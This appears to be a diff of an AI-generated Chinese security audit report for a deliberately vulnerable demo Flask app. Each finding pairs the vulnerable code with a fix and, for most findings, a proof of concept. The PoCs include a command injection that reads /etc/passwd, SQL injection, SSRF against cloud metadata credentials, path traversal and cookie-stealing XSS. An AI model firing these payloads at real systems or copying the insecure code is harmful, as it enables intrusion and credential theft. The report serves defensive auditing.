| 属性 | -内容 | -
|---|---|
| 项目名称 | -VulnWebApp - 安全演示项目 | -
| 任务 ID | -0e41da00... |
-
| 生成时间 | -2025-12-15 11:07:20 | -
| 任务状态 | -COMPLETED | -
| 耗时 | -13.0 分钟 | -
安全评分: 35/100 [未通过] -严重 - 需要立即进行修复
-| 严重程度 | -数量 | -已验证 | -
|---|---|---|
| 严重 (CRITICAL) | -2 | -2 | -
| 高危 (HIGH) | -3 | -3 | -
| 中危 (MEDIUM) | -2 | -1 | -
| 低危 (LOW) | -1 | -0 | -
| 总计 | -8 | -6 | -
[已验证] [含 PoC] | 类型: command_injection
位置: app/utils/backup.py:34-40
AI 置信度: 99%
-漏洞描述:
-在备份功能中，用户提供的文件名参数直接传递给 os.system() 函数执行，攻击者可以通过命令分隔符（如 ; 或 |）注入任意系统命令。
-漏洞代码:
-def create_backup(filename):
+
+ 报告信息
+
+
+
+ 属性
+ 内容
+
+
+
+
+ 项目名称
+ VulnWebApp - 安全演示项目
+
+
+ 任务 ID
+ 0e41da00...
+
+ 生成时间
+ 2025-12-15 11:07:20
+
+
+ 任务状态
+ COMPLETED
+
+
+ 耗时
+ 13.0 分钟
+
+
+
+ 执行摘要
+ 安全评分: 35/100 [未通过]
+ 严重 - 需要立即进行修复
+
+ 漏洞发现概览
+
+
+
+ 严重程度
+ 数量
+ 已验证
+
+
+
+
+ 严重 (CRITICAL)
+ 2
+ 2
+
+
+ 高危 (HIGH)
+ 3
+ 3
+
+
+ 中危 (MEDIUM)
+ 2
+ 1
+
+
+ 低危 (LOW)
+ 1
+ 0
+
+
+ 总计
+ 8
+ 6
+
+
+
+ 审计指标
+
+ - 分析文件数: 48 / 48
+ - Agent 迭代次数: 32
+ - 工具调用次数: 87
+ - Token 消耗: 45,680
+ - 生成的 PoC: 5
+
+ 严重 (Critical) 漏洞
+ CRITICAL-1: 备份功能存在命令注入漏洞
+ [已验证] [含 PoC] | 类型: command_injection
+ 位置: app/utils/backup.py:34-40
+ AI 置信度: 99%
+ 漏洞描述:
+ 在备份功能中，用户提供的文件名参数直接传递给 os.system() 函数执行，攻击者可以通过命令分隔符（如 ; 或 |）注入任意系统命令。
+ 漏洞代码:
+ def create_backup(filename):
"""创建备份文件"""
# 危险：直接将用户输入传递给系统命令
backup_path = f"/backups/{filename}.tar.gz"
@@ -697,10 +900,10 @@
os.system(cmd) # 命令注入风险
return backup_path
-修复建议:
-避免使用 os.system()，改用 subprocess 模块并禁用 shell=True，对用户输入进行严格的白名单验证
-参考修复代码:
-import subprocess
+ 修复建议:
+ 避免使用 os.system()，改用 subprocess 模块并禁用 shell=True，对用户输入进行严格的白名单验证
+ 参考修复代码:
+ import subprocess
import re
def create_backup(filename):
@@ -718,16 +921,16 @@ def create_backup(filename):
)
return backup_path
-概念验证 (PoC):
-通过在 filename 参数中注入分号和系统命令，在服务器上执行任意代码
-复现步骤:
-
-- 构造恶意 filename: test; id; cat /etc/passwd
-- 发送请求到 /api/backup 接口
-- 观察服务器响应或日志中的命令执行结果
-
-PoC 代码:
-import requests
+ 概念验证 (PoC):
+ 通过在 filename 参数中注入分号和系统命令，在服务器上执行任意代码
+ 复现步骤:
+
+ - 构造恶意 filename: test; id; cat /etc/passwd
+ - 发送请求到 /api/backup 接口
+ - 观察服务器响应或日志中的命令执行结果
+
+ PoC 代码:
+ import requests
# 命令注入 PoC
target_url = "http://target.com/api/backup"
@@ -740,15 +943,15 @@ print(f"Response: {response.text}")
# 预期结果：服务器执行 id 和 cat /etc/passwd 命令
-
-CRITICAL-2: 用户搜索接口存在 SQL 注入漏洞
-[已验证] [含 PoC] | 类型: sql_injection
-位置: app/routes/user.py:52-58
-AI 置信度: 98%
-漏洞描述:
-在 /api/user/search 接口中，用户输入的 name 参数直接拼接到 SQL 查询语句中，未经过任何过滤或参数化处理，攻击者可以通过构造恶意输入执行任意 SQL 语句。
-漏洞代码:
-@app.route('/api/user/search')
+
+ CRITICAL-2: 用户搜索接口存在 SQL 注入漏洞
+ [已验证] [含 PoC] | 类型: sql_injection
+ 位置: app/routes/user.py:52-58
+ AI 置信度: 98%
+ 漏洞描述:
+ 在 /api/user/search 接口中，用户输入的 name 参数直接拼接到 SQL 查询语句中，未经过任何过滤或参数化处理，攻击者可以通过构造恶意输入执行任意 SQL 语句。
+ 漏洞代码:
+ @app.route('/api/user/search')
def search_user():
name = request.args.get('name', '')
# 危险：直接拼接用户输入到SQL语句
@@ -756,10 +959,10 @@ def search_user():
result = db.execute(query)
return jsonify(result.fetchall())
-修复建议:
-使用参数化查询或 ORM 框架来防止 SQL 注入
-参考修复代码:
-@app.route('/api/user/search')
+ 修复建议:
+ 使用参数化查询或 ORM 框架来防止 SQL 注入
+ 参考修复代码:
+ @app.route('/api/user/search')
def search_user():
name = request.args.get('name', '')
# 修复：使用参数化查询
@@ -767,16 +970,16 @@ def search_user():
result = db.execute(query, {"name": f"%{name}%"})
return jsonify(result.fetchall())
-概念验证 (PoC):
-通过在 name 参数中注入 SQL 语句，绕过查询条件获取数据库中所有用户信息
-复现步骤:
-
-- 访问目标 URL: /api/user/search?name=' OR '1'='1' --
-- 观察响应：应返回所有用户数据
-- 进一步利用：可尝试 UNION 注入获取其他表数据
-
-PoC 代码:
-import requests
+ 概念验证 (PoC):
+ 通过在 name 参数中注入 SQL 语句，绕过查询条件获取数据库中所有用户信息
+ 复现步骤:
+
+ - 访问目标 URL: /api/user/search?name=' OR '1'='1' --
+ - 观察响应：应返回所有用户数据
+ - 进一步利用：可尝试 UNION 注入获取其他表数据
+
+ PoC 代码:
+ import requests
# SQL 注入 PoC
target_url = "http://target.com/api/user/search"
@@ -790,26 +993,26 @@ print(f"Data: {response.json()}")
# 预期结果：返回所有用户数据，而非仅匹配搜索条件的用户
-
-高危 (High) 漏洞
-HIGH-1: 代理接口存在 SSRF 漏洞
-[已验证] [含 PoC] | 类型: ssrf
-位置: app/routes/proxy.py:42-50
-AI 置信度: 94%
-漏洞描述:
-代理接口接受用户提供的 URL 并发起请求，没有验证目标地址，攻击者可以利用此漏洞访问内网资源或云元数据服务。
-漏洞代码:
-@app.route('/api/proxy')
+
+ 高危 (High) 漏洞
+ HIGH-1: 代理接口存在 SSRF 漏洞
+ [已验证] [含 PoC] | 类型: ssrf
+ 位置: app/routes/proxy.py:42-50
+ AI 置信度: 94%
+ 漏洞描述:
+ 代理接口接受用户提供的 URL 并发起请求，没有验证目标地址，攻击者可以利用此漏洞访问内网资源或云元数据服务。
+ 漏洞代码:
+ @app.route('/api/proxy')
def proxy_request():
target_url = request.args.get('url')
# 危险：直接请求用户提供的 URL
response = requests.get(target_url)
return response.content
-修复建议:
-实现 URL 白名单验证，禁止访问内网地址和元数据服务
-参考修复代码:
-from urllib.parse import urlparse
+ 修复建议:
+ 实现 URL 白名单验证，禁止访问内网地址和元数据服务
+ 参考修复代码:
+ from urllib.parse import urlparse
import ipaddress
ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com']
@@ -845,9 +1048,9 @@ def proxy_request():
response = requests.get(target_url, timeout=5)
return response.content
-概念验证 (PoC):
-PoC 代码:
-import requests
+ 概念验证 (PoC):
+ PoC 代码:
+ import requests
# SSRF PoC - 访问 AWS 元数据
target_url = "http://target.com/api/proxy"
@@ -856,15 +1059,15 @@ payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials
response = requests.get(target_url, params={"url": payload})
print(f"AWS Credentials:\n{response.text}")
-
-HIGH-2: 文件下载接口存在路径遍历漏洞
-[已验证] [含 PoC] | 类型: path_traversal
-位置: app/routes/download.py:18-26
-AI 置信度: 95%
-漏洞描述:
-文件下载接口直接使用用户提供的文件名参数构建文件路径，没有验证路径是否在允许的目录范围内，攻击者可以使用 ../ 序列访问任意文件。
-漏洞代码:
-@app.route('/api/download')
+
+ HIGH-2: 文件下载接口存在路径遍历漏洞
+ [已验证] [含 PoC] | 类型: path_traversal
+ 位置: app/routes/download.py:18-26
+ AI 置信度: 95%
+ 漏洞描述:
+ 文件下载接口直接使用用户提供的文件名参数构建文件路径，没有验证路径是否在允许的目录范围内，攻击者可以使用 ../ 序列访问任意文件。
+ 漏洞代码:
+ @app.route('/api/download')
def download_file():
filename = request.args.get('file')
# 危险：直接拼接用户输入构建路径
@@ -874,10 +1077,10 @@ def download_file():
return send_file(file_path)
return "File not found", 404
-修复建议:
-使用 os.path.realpath() 解析路径后验证是否在允许的目录内
-参考修复代码:
-import os
+ 修复建议:
+ 使用 os.path.realpath() 解析路径后验证是否在允许的目录内
+ 参考修复代码:
+ import os
from pathlib import Path
UPLOAD_DIR = Path('/uploads/').resolve()
@@ -897,9 +1100,9 @@ def download_file():
return send_file(file_path)
return "File not found", 404
-概念验证 (PoC):
-PoC 代码:
-import requests
+ 概念验证 (PoC):
+ PoC 代码:
+ import requests
# 路径遍历 PoC
target_url = "http://target.com/api/download"
@@ -910,15 +1113,15 @@ payload = "../../../etc/passwd"
response = requests.get(target_url, params={"file": payload})
print(f"File content:\n{response.text}")
-
-HIGH-3: 评论功能存在存储型 XSS 漏洞
-[已验证] [含 PoC] | 类型: xss
-位置: app/templates/comment.html:28-32
-AI 置信度: 96%
-漏洞描述:
-用户提交的评论内容在展示时未经 HTML 转义直接渲染，攻击者可以在评论中注入恶意 JavaScript 代码，当其他用户查看评论时会执行这些代码。
-漏洞代码:
-<div class="comment-list">
+
+ HIGH-3: 评论功能存在存储型 XSS 漏洞
+ [已验证] [含 PoC] | 类型: xss
+ 位置: app/templates/comment.html:28-32
+ AI 置信度: 96%
+ 漏洞描述:
+ 用户提交的评论内容在展示时未经 HTML 转义直接渲染，攻击者可以在评论中注入恶意 JavaScript 代码，当其他用户查看评论时会执行这些代码。
+ 漏洞代码:
+ <div class="comment-list">
{% for comment in comments %}
<div class="comment-item">
<p class="comment-content">{{ comment.content | safe }}</p>
@@ -927,10 +1130,10 @@ print(f"File content:\n{response.text}")
{% endfor %}
</div>
-修复建议:
-移除 safe 过滤器，让 Jinja2 自动转义 HTML 特殊字符
-参考修复代码:
-<div class="comment-list">
+ 修复建议:
+ 移除 safe 过滤器，让 Jinja2 自动转义 HTML 特殊字符
+ 参考修复代码:
+ <div class="comment-list">
{% for comment in comments %}
<div class="comment-item">
<!-- 修复：移除 safe 过滤器，使用自动转义 -->
@@ -939,10 +1142,10 @@ print(f"File content:\n{response.text}")
{% endfor %}
</div>
-概念验证 (PoC):
-通过在评论中注入 JavaScript 代码，当其他用户查看页面时窃取其 Cookie
-PoC 代码:
-import requests
+ 概念验证 (PoC):
+ 通过在评论中注入 JavaScript 代码，当其他用户查看页面时窃取其 Cookie
+ PoC 代码:
+ import requests
# 存储型 XSS PoC
target_url = "http://target.com/api/comment"
@@ -955,25 +1158,25 @@ print(f"Comment posted: {response.status_code}")
# 当其他用户访问评论页面时，恶意脚本会自动执行
-
-中危 (Medium) 漏洞
-MEDIUM-1: 使用不安全的 MD5 哈希算法存储密码
-[已验证] | 类型: weak_crypto
-位置: app/utils/crypto.py:8-12
-AI 置信度: 97%
-漏洞描述:
-密码哈希使用了已被破解的 MD5 算法，没有使用盐值，容易受到彩虹表攻击和暴力破解。
-漏洞代码:
-import hashlib
+
+ 中危 (Medium) 漏洞
+ MEDIUM-1: 使用不安全的 MD5 哈希算法存储密码
+ [已验证] | 类型: weak_crypto
+ 位置: app/utils/crypto.py:8-12
+ AI 置信度: 97%
+ 漏洞描述:
+ 密码哈希使用了已被破解的 MD5 算法，没有使用盐值，容易受到彩虹表攻击和暴力破解。
+ 漏洞代码:
+ import hashlib
def hash_password(password):
# 危险：使用不安全的 MD5 且无盐值
return hashlib.md5(password.encode()).hexdigest()
-修复建议:
-使用 bcrypt、Argon2 或 PBKDF2 等专门的密码哈希算法
-参考修复代码:
-import bcrypt
+ 修复建议:
+ 使用 bcrypt、Argon2 或 PBKDF2 等专门的密码哈希算法
+ 参考修复代码:
+ import bcrypt
def hash_password(password):
# 修复：使用 bcrypt 进行安全的密码哈希
@@ -983,54 +1186,54 @@ def hash_password(password):
def verify_password(password, hashed):
return bcrypt.checkpw(password.encode(), hashed.encode())
-
-MEDIUM-2: 发现硬编码的 API 密钥（误报）
-[未验证] | 类型: hardcoded_secret
-位置: app/config.py.example:15-18
-AI 置信度: 85%
-漏洞描述:
-在配置文件中发现硬编码的 API 密钥，经验证为示例配置模板中的占位符。
-漏洞代码:
-# 示例配置文件 - 请复制为 config.py 并替换实际值
+
+ MEDIUM-2: 发现硬编码的 API 密钥（误报）
+ [未验证] | 类型: hardcoded_secret
+ 位置: app/config.py.example:15-18
+ AI 置信度: 85%
+ 漏洞描述:
+ 在配置文件中发现硬编码的 API 密钥，经验证为示例配置模板中的占位符。
+ 漏洞代码:
+ # 示例配置文件 - 请复制为 config.py 并替换实际值
API_KEY = "your-api-key-here" # 请替换为实际密钥
SECRET_KEY = "change-this-secret" # 请替换为随机字符串
-修复建议:
-确保 .example 文件不被误用，在 .gitignore 中排除实际配置文件
-
-低危 (Low) 漏洞
-LOW-1: 生产环境启用了调试模式
-[未验证] | 类型: security_misconfiguration
-位置: app/__init__.py:25-28
-AI 置信度: 88%
-漏洞描述:
-Flask 应用在生产环境中启用了调试模式，可能泄露敏感信息和允许远程代码执行。
-漏洞代码:
-# 应用配置
+ 修复建议:
+ 确保 .example 文件不被误用，在 .gitignore 中排除实际配置文件
+
+ 低危 (Low) 漏洞
+ LOW-1: 生产环境启用了调试模式
+ [未验证] | 类型: security_misconfiguration
+ 位置: app/__init__.py:25-28
+ AI 置信度: 88%
+ 漏洞描述:
+ Flask 应用在生产环境中启用了调试模式，可能泄露敏感信息和允许远程代码执行。
+ 漏洞代码:
+ # 应用配置
app = Flask(__name__)
app.debug = True # 警告：生产环境应禁用
app.secret_key = 'development-key' # 警告：应使用安全密钥
-修复建议:
-在生产环境中禁用调试模式，使用环境变量配置
-参考修复代码:
-import os
+ 修复建议:
+ 在生产环境中禁用调试模式，使用环境变量配置
+ 参考修复代码:
+ import os
app = Flask(__name__)
app.debug = os.environ.get('FLASK_DEBUG', 'False').lower() == 'true'
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(24))
-
-修复优先级建议
-基于已发现的漏洞，我们建议按以下优先级进行修复：
-
-- 立即修复: 处理 2 个严重漏洞 - 可能造成严重影响
-- 高优先级: 在 1 周内修复 3 个高危漏洞
-- 中优先级: 在 2-4 周内修复 2 个中危漏洞
-- 低优先级: 在日常维护中处理 1 个低危漏洞
-
-
-本报告由 DeepAudit - AI 驱动的安全分析系统生成
+
+ 修复优先级建议
+ 基于已发现的漏洞，我们建议按以下优先级进行修复：
+
+ - 立即修复: 处理 2 个严重漏洞 - 可能造成严重影响
+ - 高优先级: 在 1 周内修复 3 个高危漏洞
+ - 中优先级: 在 2-4 周内修复 2 个中危漏洞
+ - 低优先级: 在日常维护中处理 1 个低危漏洞
+
+
+ 本报告由 DeepAudit - AI 驱动的安全分析系统生成
加载失败
+{preview.error}
+加载失败
-{preview.error}
+